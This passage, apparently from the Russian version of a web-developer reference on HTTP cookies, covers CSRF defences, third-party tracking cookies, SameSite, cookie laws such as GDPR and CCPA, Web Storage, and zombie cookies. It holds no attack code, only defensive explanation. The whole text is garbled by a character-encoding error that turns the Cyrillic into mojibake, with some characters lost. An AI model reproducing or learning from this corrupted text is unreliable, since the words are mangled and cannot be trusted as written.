ÐÑли Ð²Ñ Ð°ÑÑенÑиÑиÑиÑÐ¾Ð²Ð°Ð½Ð½Ñ Ð² ÑвоÑм банковÑком аккаÑнÑе, а кÑки по-пÑÐµÐ¶Ð½ÐµÐ¼Ñ Ð´ÐµÐ¹ÑÑвиÑелÑÐ½Ñ (и никакой дополниÑелÑной пÑовеÑки не ÑÑебÑеÑÑÑ), Ñо пÑи загÑÑзке HTML-докÑменÑа ÑоÑÑма или ÑаÑа Ñ ÑÑим изобÑажением денÑги бÑдÑÑ Ð¿ÐµÑÐµÐ²ÐµÐ´ÐµÐ½Ñ Ñ Ð²Ð°Ñего ÑÑеÑа. ÐÐ»Ñ Ð·Ð°ÑиÑÑ Ð¾Ñ ÑÑого иÑполÑзÑеÑÑÑ ÑÑд меÑодов:
- Ðак и пÑи XSS, важна ÑилÑÑÑаÑÐ¸Ñ Ð²Ñ Ð¾Ð´ÑÑей инÑоÑмаÑии.
- ÐÐ»Ñ Ð»Ñбой ÑÑвÑÑвиÑелÑной опеÑаÑии должно запÑаÑиваÑÑÑÑ Ð¿Ð¾Ð´ÑвеÑждение.
- ÐÑки, иÑполÑзÑемÑе Ð´Ð»Ñ ÑÑвÑÑвиÑелÑнÑÑ Ð¾Ð¿ÐµÑаÑий, Ð´Ð¾Ð»Ð¶Ð½Ñ Ð¸Ð¼ÐµÑÑ ÐºÐ¾ÑоÑкий ÑÑок дейÑÑвиÑ.
- ÐополниÑелÑнÑÑ Ð¸Ð½ÑоÑмаÑÐ¸Ñ Ð¼Ð¾Ð¶Ð½Ð¾ полÑÑиÑÑ Ð² полÑзоваÑелÑÑкой инÑÑÑÑкÑии по пÑедоÑвÑаÑÐµÐ½Ð¸Ñ CSRF на ÑайÑе OWASP.
ТÑекинг и пÑиваÑноÑÑÑ
>СÑоÑонние (Third-party) кÑки
ÐÑки аÑÑоÑииÑÑÑÑÑÑ Ñ Ð¾Ð¿ÑеделÑннÑм доменом и ÑÑ
емой (Ñакой как http: или https:). Также они могÑÑ Ð±ÑÑÑ Ð°ÑÑоÑииÑÐ¾Ð²Ð°Ð½Ñ Ñ Ð¿Ð¾Ð´Ð´Ð¾Ð¼ÐµÐ½Ð¾Ð¼ Ñ Ð¿Ð¾Ð¼Ð¾ÑÑÑ Ð°ÑÑибÑÑа Domain. ÐÑли домен и ÑÑ
ема кÑк ÑÐ¾Ð²Ð¿Ð°Ð´Ð°ÐµÑ Ñ Ð´Ð¾Ð¼ÐµÐ½Ð¾Ð¼ и ÑÑ
емой ÑекÑÑей ÑÑÑаниÑÑ, на коÑоÑой Ð²Ñ Ð½Ð°Ñ
одиÑеÑÑ, Ñо иÑ
назÑваÑÑ ÑобÑÑвеннÑми кÑками (first-party cookies). ÐÑли домен и ÑÑ
ема кÑк оÑлиÑаеÑÑÑ Ð¾Ñ Ð´Ð¾Ð¼ÐµÐ½Ð° и ÑÑ
ÐµÐ¼Ñ ÑекÑÑей ÑÑÑаниÑÑ, Ñо Ñакие кÑки назÑваÑÑ ÑÑоÑонними кÑками (third-party cookies).
СеÑвеÑ, Ñ Ð¾ÑÑÑÑий ÑÑÑаниÑÑ, ÑÑÑÐ°Ð½Ð°Ð²Ð»Ð¸Ð²Ð°ÐµÑ ÑобÑÑвеннÑе кÑки, но на ÑÑÑаниÑе могÑÑ Ð½Ð°Ñ Ð¾Ð´Ð¸ÑÑÑÑ Ð¸Ð·Ð¾Ð±ÑÐ°Ð¶ÐµÐ½Ð¸Ñ Ð¸ дÑÑгие компоненÑÑ Ñ Ð´ÑÑÐ³Ð¸Ñ Ð´Ð¾Ð¼ÐµÐ½Ð¾Ð² (напÑимеÑ, баннеÑÐ½Ð°Ñ Ñеклама), они в ÑÐ²Ð¾Ñ Ð¾ÑеÑÐµÐ´Ñ Ð¼Ð¾Ð³ÑÑ ÑÑÑанавливаÑÑ ÑÑоÑонние кÑки. СÑоÑонние кÑки ÑаÑÑо иÑполÑзÑÑÑÑÑ Ð´Ð»Ñ ÑÐµÐºÐ»Ð°Ð¼Ñ Ð¸ ÑÑекинга полÑзоваÑелей в ÑеÑи. Ðак пÑимеÑ, можеÑе поÑмоÑÑеÑÑ ÐºÑки, коÑоÑÑе ÑÑÑÐ°Ð½Ð°Ð²Ð»Ð¸Ð²Ð°ÐµÑ Google.
ТÑеÑÑÑ ÑÑоÑона, конÑÑолиÑÑÑÑÐ°Ñ Ð²Ð½ÐµÐ´Ñение ÑÑоÑÐ¾Ð½Ð½Ð¸Ñ ÐºÑк, Ð¼Ð¾Ð¶ÐµÑ ÑоздаÑÑ Ð¿ÑоÑÐ¸Ð»Ñ Ð¿Ð¾Ð»ÑзоваÑÐµÐ»Ñ Ð½Ð° оÑнове иÑÑоÑии его поÑеÑений ÑазнÑÑ ÑайÑов Ñ Ð¿Ð¾Ð¼Ð¾ÑÑÑ ÐºÑк, оÑпÑавлÑемÑÑ Ð¾Ð´Ð½Ð¸Ð¼ и Ñем же бÑаÑзеÑом Ñ ÑазнÑÑ ÑайÑов. Firefox по ÑмолÑÐ°Ð½Ð¸Ñ Ð±Ð»Ð¾ÐºÐ¸ÑÑÐµÑ ÑÑоÑонние кÑки, пÑо коÑоÑÑе извеÑÑно, ÑÑо они иÑполÑзÑÑÑÑÑ Ð´Ð»Ñ ÑÑекинга полÑзоваÑелей. СÑоÑонние кÑки (или пÑоÑÑо кÑки Ð´Ð»Ñ ÑÑекинга) могÑÑ Ñакже бÑÑÑ Ð·Ð°Ð±Ð»Ð¾ÐºÐ¸ÑÐ¾Ð²Ð°Ð½Ñ Ð´ÑÑгими наÑÑÑойками бÑаÑзеÑа или ÑаÑÑиÑениÑми. ÐлокиÑовка кÑк в некоÑоÑÑÑ ÑиÑÑаÑиÑÑ Ð¼Ð¾Ð¶ÐµÑ ÑÑаÑÑ Ð¿ÑиÑиной некоÑÑекÑного Ð¿Ð¾Ð²ÐµÐ´ÐµÐ½Ð¸Ñ ÑÑоÑÐ¾Ð½Ð½Ð¸Ñ ÐºÐ¾Ð¼Ð¿Ð¾Ð½ÐµÐ½Ñов, напÑимеÑ, виджеÑов ÑоÑиалÑнÑÑ ÑеÑей.
ÐÑимеÑание: ÐÑкенд Ð¼Ð¾Ð¶ÐµÑ (и должен) ÑÑÑанавливаÑÑ Ñ ÐºÑк аÑÑибÑÑ SameSite Ð´Ð»Ñ ÑпÑÐ°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¾ÑпÑавкой кÑк на ÑÑоÑонние ÑеÑвеÑÑ.
ÐаконодаÑелÑÑÑво, ÑвÑзанное Ñ ÐºÑки
РегÑлиÑÑÑÑие акÑÑ Ð¸ законодаÑелÑÑÑво, покÑÑваÑÑие кÑки, вклÑÑаÑÑ:
- General Data Privacy Regulation (GDPR) в ÐвÑопейÑком СоÑзе
- ePrivacy Directive в ÐвÑопейÑком СоÑзе
- California Consumer Privacy Act в ШÑаÑе ÐалиÑоÑниÑ
ÐÑи акÑÑ Ð¸ диÑекÑÐ¸Ð²Ñ Ð´ÐµÐ¹ÑÑвÑÑÑ Ð³Ð»Ð¾Ð±Ð°Ð»Ñно. Ðни пÑименÑÑÑÑÑ ÐºÐ¾ вÑем ÑайÑам во ÐÑемиÑной паÑÑине, к коÑоÑÑм полÑзоваÑели из даннÑÑ ÑÑиÑдикÑий полÑÑаÑÑ Ð´Ð¾ÑÑÑп (ÐвÑопейÑкий СоÑз и ÐалиÑоÑниÑ, Ñ Ð¾Ð³Ð¾Ð²Ð¾Ñкой, ÑÑо ÐалиÑоÑнийÑкий закон пÑименÑеÑÑÑ Ðº компаниÑм Ñ Ð´Ð¾Ñ Ð¾Ð´Ð¾Ð¼ вÑÑе 25 миллионов доллаÑов и неÑколÑкими дÑÑгими оговоÑками).
ÐÑи акÑÑ Ð¸ диÑекÑÐ¸Ð²Ñ Ð²ÐºÐ»ÑÑаÑÑ Ñакие ÑÑÐµÐ±Ð¾Ð²Ð°Ð½Ð¸Ñ ÐºÐ°Ðº:
- СообÑаÑÑ Ð¿Ð¾Ð»ÑзоваÑелÑм, ÑÑо ÑÐ°Ð¹Ñ Ð¸ÑполÑзÑÐµÑ ÐºÑки.
- ÐаваÑÑ Ð²Ð¾Ð·Ð¼Ð¾Ð¶Ð½Ð¾ÑÑÑ Ð¿Ð¾Ð»ÑзоваÑелÑм оÑказÑваÑÑÑÑ Ð¾Ñ Ð¿Ð¾Ð»ÑÑÐµÐ½Ð¸Ñ Ð²ÑÐµÑ Ð¸Ð»Ð¸ некоÑоÑÑÑ ÐºÑк.
- ÐаваÑÑ Ð²Ð¾Ð·Ð¼Ð¾Ð¶Ð½Ð¾ÑÑÑ Ð¿Ð¾Ð»ÑзоваÑелÑм иÑполÑзоваÑÑ Ð¾ÑновнÑе ÑÑнкÑии ваÑего ÑеÑвиÑа без полÑÑÐµÐ½Ð¸Ñ ÐºÑк.
ÐогÑÑ ÑÑÑеÑÑвоваÑÑ Ð´ÑÑгие законодаÑелÑнÑе акÑÑ, коÑоÑÑе пÑÐ¸Ð¼ÐµÐ½Ð¸Ð¼Ñ Ðº ваÑей локалÑной ÑÑиÑдикÑии. Ðа Ð²Ð°Ñ Ð»ÐµÐ¶Ð¸Ñ Ð¾ÑвеÑÑÑвенноÑÑÑ Ð·Ð½Ð°ÑÑ Ð¿Ñо Ð½Ð¸Ñ Ð¸ ÑледоваÑÑ Ð¸Ð¼. СÑÑеÑÑвÑÑÑ ÐºÐ¾Ð¼Ð¿Ð°Ð½Ð¸Ð¸, коÑоÑÑе пÑедлагаÑÑ ÐºÐ¾Ð´ Ñ "кÑки баннеÑом" и беÑÑÑ Ð½Ð° ÑÐµÐ±Ñ Ð·Ð°Ð±Ð¾ÑÑ Ð¾ Ñледовании законодаÑелÑÑÑвÑ, ÑвÑÐ·Ð°Ð½Ð½Ð¾Ð¼Ñ Ñ ÐºÑками.
ÐÑÑгие ÑпоÑÐ¾Ð±Ñ Ñ ÑÐ°Ð½ÐµÐ½Ð¸Ñ Ð¸Ð½ÑоÑмаÑии в бÑаÑзеÑе
ÐÑÑгой ÑпоÑоб Ð´Ð»Ñ Ñ ÑÐ°Ð½ÐµÐ½Ð¸Ñ Ð´Ð°Ð½Ð½ÑÑ Ð² бÑаÑзеÑе â Web Storage API. СвойÑÑва window.sessionStorage и window.localStorage Ð¿Ð¾Ð´Ð¾Ð±Ð½Ñ ÑеÑÑионнÑм и поÑÑоÑннÑм кÑкам, но позволÑÑÑ Ñ ÑаниÑÑ Ð±Ð¾Ð»ÑÑе даннÑÑ Ð¸ никогда не оÑпÑавлÑÑÑÑÑ Ð½Ð° ÑеÑвеÑ. ÐÐ»Ñ Ñ ÑÐ°Ð½ÐµÐ½Ð¸Ñ ÐµÑÑ Ð±Ð¾Ð»ÑÑего обÑÑма ÑÑÑÑкÑÑÑиÑованнÑÑ Ð´Ð°Ð½Ð½ÑÑ Ð¼Ð¾Ð¶ÐµÑ Ð¸ÑполÑзоваÑÑÑÑ IndexedDB API или библиоÑеки, поÑÑÑоеннÑе повеÑÑ Ð½ÐµÐ³Ð¾.
СÑÑеÑÑвÑÑÑ ÑÐµÑ Ð½Ð¸ÐºÐ¸ Ð´Ð»Ñ Ð¿Ð¾Ð²ÑоÑной ÑÑÑановки кÑк поÑле Ð¸Ñ ÑдалениÑ. Такие кÑки назÑваÑÑÑÑ ÐºÑки-зомби. ÐÑи ÑÐµÑ Ð½Ð¸ÐºÐ¸ наÑÑÑаÑÑ Ð¿ÑинÑÐ¸Ð¿Ñ Ð¿ÑиваÑноÑÑи полÑзоваÑелей и полÑзоваÑелÑÑкого конÑÑÐ¾Ð»Ñ Ð¸ могÑÑ Ð½Ð°ÑÑÑаÑÑ Ð·Ð°ÐºÐ¾Ð½Ð¾Ð´Ð°ÑелÑÑÑва, ÑегÑлиÑÑÑÑие пÑиваÑноÑÑÑ Ð´Ð°Ð½Ð½ÑÑ , ÑооÑвеÑÑÑвенно, иÑполÑзÑÑÑий Ð¸Ñ ÑÐ°Ð¹Ñ Ð¿Ð¾Ð´Ð²ÐµÑжен ÑÑÐ´ÐµÐ±Ð½Ð¾Ð¼Ñ ÑазбиÑаÑелÑÑÑвÑ.